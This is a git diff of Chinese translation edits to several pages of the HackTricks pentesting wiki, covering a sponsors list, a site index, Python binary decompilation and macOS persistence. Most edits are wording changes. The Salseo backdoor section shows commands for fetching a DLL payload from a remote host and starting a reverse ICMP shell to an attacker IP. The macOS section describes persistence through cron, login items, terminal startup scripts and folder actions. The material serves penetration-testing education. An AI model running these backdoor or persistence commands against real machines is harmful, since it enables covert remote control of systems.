Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 152 KiB |
10
README.md
|
@ -40,7 +40,7 @@ _你的公司也可以在这里。_
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** 是欧洲排名第一的道德黑客和漏洞赏金平台。
|
||||
|
||||
|
@ -77,10 +77,10 @@ Intruder 从不休息。全天候保护监控你的系统。想了解更多?
|
|||
|
||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof 是所有加密赏金的家园。**
|
||||
**HackenProof 是所有加密漏洞赏金的家园。**
|
||||
|
||||
**无需等待即可获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
||||
|
||||
**在 web3 渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在它崛起的时代掌握 web3 安全。
|
||||
|
@ -88,7 +88,7 @@ HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏
|
|||
**成为 web3 黑客传奇**\
|
||||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
||||
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register) 开始从你的黑客行动中获利!
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register)开始从你的黑客行动中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -102,7 +102,7 @@ WebSec 是一家**全方位的安全公司**,他们可以做到所有的事情
|
|||
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们保证提供最优质的结果,他们的网站上写着“**如果我们无法入侵,你就不需要支付费用!**”。想了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了以上内容,WebSec 还是 HackTricks 的坚定支持者。
|
||||
除了以上内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
### [DragonJAR](https://www.dragonjar.org/)
|
||||
|
|
|
@ -169,8 +169,9 @@
|
|||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md)
|
||||
* [macOS xpc\_connection\_get\_audit\_token Attack](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md)
|
||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
|
|
@ -121,19 +121,11 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|||
```
|
||||
#### 执行客户端:
|
||||
|
||||
To execute the client, you need to follow these steps:
|
||||
```bash
|
||||
python client.py
|
||||
```
|
||||
|
||||
1. Make sure you have the client file downloaded and saved on your local machine.
|
||||
|
||||
2. Open a terminal or command prompt.
|
||||
|
||||
3. Navigate to the directory where the client file is located using the `cd` command.
|
||||
|
||||
4. Once you are in the correct directory, run the client file by typing its name followed by the appropriate command. For example, if the client file is named `client.exe`, you would type `client.exe` and press Enter.
|
||||
|
||||
5. The client will then execute and start running on your machine.
|
||||
|
||||
Remember to exercise caution when executing any files, especially those obtained from untrusted sources. Always scan files for malware before running them.
|
||||
The client will establish a connection with the server and wait for commands.
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
@ -147,7 +139,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
### 在主函数之前添加:\[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### 为该项目安装DllExport
|
||||
|
||||
|
@ -159,9 +151,9 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
在项目文件夹中会出现以下文件:**DllExport.bat**和**DllExport\_Configure.bat**
|
||||
在项目文件夹中出现了文件:**DllExport.bat**和**DllExport\_Configure.bat**
|
||||
|
||||
### **卸载DllExport**
|
||||
### **卸载** DllExport
|
||||
|
||||
点击**卸载**(是的,很奇怪,但相信我,这是必要的)
|
||||
|
||||
|
@ -197,7 +189,7 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
### 测试生成的DLL
|
||||
|
||||
将DLL复制并粘贴到要进行测试的位置。
|
||||
将DLL复制并粘贴到要测试的位置。
|
||||
|
||||
执行:
|
||||
```
|
||||
|
@ -224,9 +216,9 @@ CMD (Command Prompt) is a command-line interpreter in Windows operating systems.
|
|||
|
||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can exploit vulnerabilities, escalate privileges, and gain control over the target system.
|
||||
|
||||
To access CMD, you can open the Start menu, type "cmd" in the search bar, and press Enter. This will open the Command Prompt window, where you can start executing commands.
|
||||
To access CMD, simply open the Start menu, type "cmd" in the search bar, and press Enter. This will open the Command Prompt window, where you can start executing commands.
|
||||
|
||||
It is important to note that CMD should only be used for legitimate purposes, such as system administration or troubleshooting. Using CMD for malicious activities is illegal and unethical.
|
||||
It is important to note that CMD should only be used for legitimate purposes, such as system administration or troubleshooting. Using CMD for malicious activities is illegal and unethical. Always ensure that you have proper authorization before using CMD on a system.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -239,10 +231,10 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
# 反编译已编译的Python二进制文件(exe、elf)- 从.pyc中恢复
|
||||
# 反编译已编译的Python二进制文件(exe、elf)- 从.pyc文件中恢复
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 从编译的二进制文件到.pyc
|
||||
## 从编译的二进制文件到.pyc文件
|
||||
|
||||
从一个**ELF**编译的二进制文件中,你可以使用以下方法**获取.pyc**文件:
|
||||
从一个**ELF**编译的二进制文件中,你可以使用以下方法**获取.pyc文件**:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -39,7 +39,7 @@ pyi-archive_viewer <binary>
|
|||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
在编译的**Python可执行二进制文件**中,可以通过运行以下命令来获取**.pyc文件**:
|
||||
在编译的**Python可执行二进制文件**中,可以通过运行以下命令来获取`.pyc`文件:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
|
@ -94,7 +94,7 @@ hexdump 'binary.pyc' | head
|
|||
|
||||
### ImportError: 文件名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
|
||||
|
||||
目前,使用unpy2exe或pyinstxtractor获取的Python字节码文件可能不完整,因此无法被uncompyle6识别并获取纯Python源代码。这是由于缺少Python字节码版本号引起的。因此,我们添加了一个prepend选项;这将在其中包含一个Python字节码版本号,并有助于简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时,会返回一个错误。然而,一旦我们使用prepend选项,我们可以看到Python源代码已经成功反编译。
|
||||
目前,使用unpy2exe或pyinstxtractor获取的Python字节码文件可能不完整,因此**无法被uncompyle6识别以获取纯粹的Python源代码**。这是由于缺少Python**字节码版本号**引起的。因此,我们添加了一个prepend选项;这将在其中包含一个Python字节码版本号,并有助于简化反编译过程。当我们尝试使用uncompyle6来反编译.pyc文件时,会返回一个错误。然而,**一旦我们使用prepend选项,我们可以看到Python源代码已经成功反编译**。
|
||||
```
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## 分析Python汇编代码
|
||||
|
||||
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次尝试提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
||||
如果你无法在之前的步骤中提取出Python的“原始”代码,那么你可以尝试提取汇编代码(但它并不是非常描述性的,所以尽量再次提取原始代码)。在[这里](https://bits.theorem.co/protecting-a-python-codebase/),我找到了一个非常简单的代码来反汇编.pyc二进制文件(祝你理解代码流程好运)。如果.pyc文件是Python2的,请使用Python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
|
|
@ -119,7 +119,7 @@ launchctl list
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
当我们的shell环境(如`zsh`或`bash`)**启动时**,会执行shell启动文件。现在,macOS默认使用`/bin/zsh`,每当我们打开`Terminal`或通过SSH连接到设备时,我们都会进入这个shell环境。`bash`和`sh`仍然可用,但必须明确启动。
|
||||
当我们的shell环境(如`zsh`或`bash`)**启动**时,会执行shell启动文件。现在,macOS默认使用`/bin/zsh`,每当我们打开`Terminal`或通过SSH连接到设备时,我们都会进入这个shell环境。`bash`和`sh`仍然可用,但必须明确启动。
|
||||
|
||||
我们可以使用**`man zsh`**阅读zsh的man页面,其中有关于启动文件的详细描述。
|
||||
```bash
|
||||
|
@ -172,7 +172,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
#### 位置
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **触发条件**:打开终端
|
||||
* **触发器**:打开终端
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
|
@ -182,7 +182,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
这个配置会在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中反映出来,如下所示:
|
||||
这个配置在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中反映如下:
|
||||
```bash
|
||||
[...]
|
||||
"Window Settings" => {
|
||||
|
@ -343,31 +343,31 @@ oneTimeSSMigrationComplete = 1;
|
|||
defaults delete com.apple.loginwindow LoginHook
|
||||
defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**中。
|
||||
root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## 条件沙盒绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,您可以找到用于**绕过沙盒**的启动位置,它允许您通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序、"不常见"用户**操作或环境来执行某些操作。
|
||||
在这里,您可以找到用于**绕过沙盒**的启动位置,它允许您通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序、"不常见"的用户**操作或环境来执行某些操作。
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* 用于绕过沙盒的有用性:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒的有用性: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 但是,您需要能够执行`crontab`二进制文件
|
||||
* 或者是root用户
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`/usr/lib/cron/tabs/`、`/private/var/at/tabs`、`/private/var/at/jobs`、`/etc/periodic/`**
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* 直接写入访问需要root权限。如果您可以执行`crontab <file>`,则不需要root权限
|
||||
* **触发器**:取决于cron作业
|
||||
* **触发器**: 取决于cron作业
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
使用以下命令列出**当前用户**的cron作业:
|
||||
使用以下命令列出**当前用户**的cron作业:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
|
@ -378,7 +378,7 @@ crontab -l
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
在这里,您可以找到常规的cron作业、at作业(不常用)和周期性作业(主要用于清理临时文件)。例如,可以使用以下命令执行每日周期性作业:`periodic daily`。
|
||||
在这里,您可以找到常规的cron作业、at作业(不常用)和周期性作业(主要用于清理临时文件)。例如,可以使用`periodic daily`来执行每日周期性作业。
|
||||
|
||||
要以编程方式添加用户cron作业,可以使用:
|
||||
```bash
|
||||
|
@ -419,7 +419,7 @@ iTerm2偏好设置位于**`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
|||
|
||||
可以在iTerm2设置中配置此设置:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
命令会反映在偏好设置中:
|
||||
```bash
|
||||
|
@ -447,15 +447,15 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
很有可能有**其他方法滥用iTerm2首选项**来执行任意命令。
|
||||
很有可能有其他方法可以滥用iTerm2的偏好设置来执行任意命令。
|
||||
{% endhint %}
|
||||
|
||||
### xbar
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但必须安装xbar
|
||||
* 有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但需要安装xbar
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -466,7 +466,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
* 但需要安装Hammerspoon
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -475,7 +477,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
#### 描述
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)是一款自动化工具,允许通过LUA脚本语言进行**macOS脚本编写**。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 是一款自动化工具,允许通过LUA脚本语言进行macOS脚本编写。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
||||
|
||||
该应用程序寻找一个名为`~/.hammerspoon/init.lua`的单个文件,并在启动时执行该脚本。
|
||||
```bash
|
||||
|
@ -522,10 +524,10 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
#### 位置
|
||||
|
||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
* **触发器:** 登录
|
||||
* **触发条件:** 登录
|
||||
* 利用负载存储调用 **`osascript`**
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **触发器:** 登录
|
||||
* **触发条件:** 登录
|
||||
* 需要 root 权限
|
||||
|
||||
#### 描述
|
||||
|
@ -550,7 +552,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(请参阅有关登录项的上一节,这是一个扩展)
|
||||
|
||||
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含具有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不存在),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
||||
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含具有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
||||
|
||||
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,此技术仍将起作用。
|
||||
|
||||
|
@ -565,7 +567,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
#### **描述**
|
||||
|
||||
“At tasks”用于**在特定时间安排任务**。\
|
||||
这些任务与cron不同,它们是**一次性任务**,在执行后被删除。但是,它们将**在系统重启后保留**,因此不能将其排除为潜在威胁。
|
||||
这些任务与cron不同,它们是**一次性任务**,在执行后会被删除。但是,它们将**在系统重启后保留**,因此不能将其排除为潜在威胁。
|
||||
|
||||
默认情况下,它们是**禁用的**,但**root**用户可以使用以下命令**启用**它们:
|
||||
```bash
|
||||
|
@ -635,8 +637,8 @@ total 32
|
|||
|
||||
### 文件夹操作
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
写作:[https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
写作:[https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但您需要能够使用参数调用osascript并能够配置文件夹操作
|
||||
|
@ -651,7 +653,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
当附加了文件夹操作的文件夹添加或删除项目,或者打开、关闭、移动或调整其窗口时,将执行文件夹操作脚本:
|
||||
当附加了文件夹的项目被添加或删除,或者当其窗口被打开、关闭、移动或调整大小时,将执行文件夹操作脚本:
|
||||
|
||||
* 通过Finder UI打开文件夹
|
||||
* 向文件夹添加文件(可以通过拖放或甚至在终端的shell提示符中完成)
|
||||
|
@ -662,9 +664,9 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
1. 使用[Automator](https://support.apple.com/guide/automator/welcome/mac)程序创建一个文件夹操作工作流文件(.workflow)并将其安装为服务。
|
||||
2. 右键单击文件夹,选择“文件夹操作设置...”,“运行服务”,并手动附加脚本。
|
||||
3. 使用OSAScript向`System Events.app`发送Apple Event消息,以编程方式查询和注册新的“文件夹操作”。
|
||||
3. 使用OSAScript向`System Events.app`发送Apple事件消息,以编程方式查询和注册新的“文件夹操作”。
|
||||
|
||||
* 这是使用OSAScript发送Apple Event消息到`System Events.app`实现持久性的方法
|
||||
* 这是使用OSAScript发送Apple事件消息到`System Events.app`实现持久性的方法
|
||||
|
||||
将执行以下脚本:
|
||||
|
||||
|
@ -716,9 +718,9 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
